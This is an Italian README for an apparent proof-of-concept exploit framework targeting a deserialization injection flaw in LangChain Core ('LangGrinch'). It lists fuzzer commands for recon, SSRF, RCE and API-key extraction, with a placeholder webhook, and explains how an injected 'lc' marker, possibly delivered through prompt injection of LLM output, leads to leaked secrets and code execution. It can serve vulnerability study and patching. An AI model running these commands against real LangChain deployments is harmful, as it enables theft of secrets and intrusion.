Un framework di test per identificare e dimostrare vulnerabilità di deserializzazione in LangChain Core (<0.3.81). Solo uso educativo.
LangGrinch-PoC/ │ ├── README.md # Main documentation & writeup ├── PAYLOADS.md # Complete payload arsenal (55+) ├── langgrinch_fuzzer.py # Python payload generator & tester ├── requirements.txt # Python dependencies └── LICENSE # MIT License
## 🚀 Avvio Rapido
### Installazione```bash
# Clone the repository
git clone https://github.com/Ak-cybe/LangGrinch-PoC.git
cd LangGrinch-PoC
# Install dependencies
pip install -r requirements.txt
python langgrinch_fuzzer.py --list
python langgrinch_fuzzer.py --category recon python langgrinch_fuzzer.py --category ssrf python langgrinch_fuzzer.py --category rce
python langgrinch_fuzzer.py --secret MY_API_KEY
python langgrinch_fuzzer.py --ssrf http://your-webhook.com/
python langgrinch_fuzzer.py --export payloads.json
---
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/15055/a59cc259070b0a6930250b423ecf6befeab7fd75694091738ff5f8d2899b56ad.gif" width="200" alt="GIF Hacker"/>
<img src="https://assets.kitploit.com/production/public/readmes/15055/0751965da24039c9facbe6006461ec38a66ff560b42dc590d1964f43f7f9853d.gif" width="200" alt="GIF Sicurezza"/>
GIF Matrix
</p>
---
## 🎯 Riepilogo Esecutivo
**CVE-2025-68664 (Nome in codice: LangGrinch)** è una vulnerabilità critica di **iniezione di serializzazione** scoperta nel pacchetto Python **LangChain Core**. Questa vulnerabilità consente agli aggressori di iniettare marcatori `lc` malevoli tramite output LLM o dizionari controllati dall'utente, permettendo:
1. 🔑 **Estrazione di segreti d'ambiente** (chiavi API, password DB)
2. 🌐 **Attacchi SSRF** (raggiungimento di servizi interni)
3. 💀 **Esecuzione remota di codice** (tramite catena Jinja2 SSTI)
4. 📂 **Accesso al filesystem** (lettura di file sensibili)
<table align="center">
<tr>
<td>
### ⚡ Statistiche Rapide
| 🔥 Metrica | 📊 Valore |
|-----------|----------|
| **CVE ID** | CVE-2025-68664 |
| **Nome in codice** | LangGrinch |
| **Tipo di attacco** | Iniezione di deserializzazione |
| **Autenticazione richiesta** | No (Iniezione di prompt) |
| **Complessità** | BASSA |
</td>
<td>
### 🎯 Versioni Affette
| 📌 Proprietà | 📝 Valore |
|-------------|----------|
| **Pacchetto** | langchain-core |
| **Vulnerabili** | < 0.3.81, >= 1.0.0 < 1.2.5 |
| **Corrette** | 0.3.81+, 1.2.5+ |
| **Impatto** | Segreti + RCE |
| **CWE** | CWE-502 |
</td>
</tr>
</table>
---
## 🐛 Analisi Approfondita della Vulnerabilità
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/15055/fb07ef9946fd69ee29be7a85737fa8b18fa02c8ec40293de8a4994d5e8419a6a.gif" width="300" alt="GIF Bug"/>
</p>
### 📋 Panoramica Tecnica
| Proprietà | Valore |
|----------|-------|
| 🆔 **CVE ID** | CVE-2025-68664 |
| 🏷️ **Nome in codice** | LangGrinch |
| 📊 **Gravità** | CRITICA 🔴 |
| 🔗 **CWE** | CWE-502 (Deserializzazione di dati non affidabili) |
| 📦 **Pacchetto affetto** | `langchain-core` |
| ⚠️ **Versioni vulnerabili** | `< 0.3.81` AND `>= 1.0.0, < 1.2.5` |
| ✅ **Versioni corrette** | `0.3.81+`, `1.2.5+` |
### 🤖 Cos'è LangChain?
LangChain è un popolare framework Python utilizzato per sviluppare applicazioni con **Large Language Models (LLM)**. È ampiamente diffuso in vari settori:
| 🏢 Caso d'uso | 📝 Descrizione |
|-------------|----------------|
| 🤖 **Chatbot AI** | Servizio clienti, agenti di supporto |
| 🔍 **Sistemi RAG** | Generazione aumentata da recupero |
| 🔧 **Agenti AI** | Esecuzione autonoma di attività |
| 📊 **Elaborazione dati** | Analisi dei documenti, riassunti |
| 🔄 **Automazione dei flussi di lavoro** | Pipeline basate su AI |
### 🔧 Causa Radice Tecnica
Il formato di serializzazione interno di LangChain utilizza un marcatore speciale: la **chiave `lc`**. Quando un dizionario contiene la chiave `lc`, il deserializzatore di LangChain lo tratta come un "oggetto serializzato LangChain attendibile".
**Il bug è:**
- Le funzioni `dumps()` / `dumpd()` NON neutralizzano/escapano la chiave `lc` nei dizionari controllati dall'utente/LLM
- Durante la reidratazione tramite `load()` / `loads()`, la struttura iniettata viene elaborata come un **oggetto interno**```
🔓 VULNERABILITY CHAIN:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 User/LLM Input → Dictionary with malicious "lc" marker │
│ ↓ │
│ 💾 Application serializes data (dumps/dumpd) │
│ ↓ │
│ ⚠️ "lc" key NOT escaped - remains in serialized form │
│ ↓ │
│ 🔄 Later: Data deserialized (load/loads) │
│ ↓ │
│ 🎯 Deserializer sees "lc" → Treats as LangChain object! │
│ ↓ │
│ 💀 Secret resolution / Object instantiation triggered │
│ ↓ │
│ 💥 SECRETS LEAKED / SSRF / RCE │
└─────────────────────────────────────────────────────────────────┘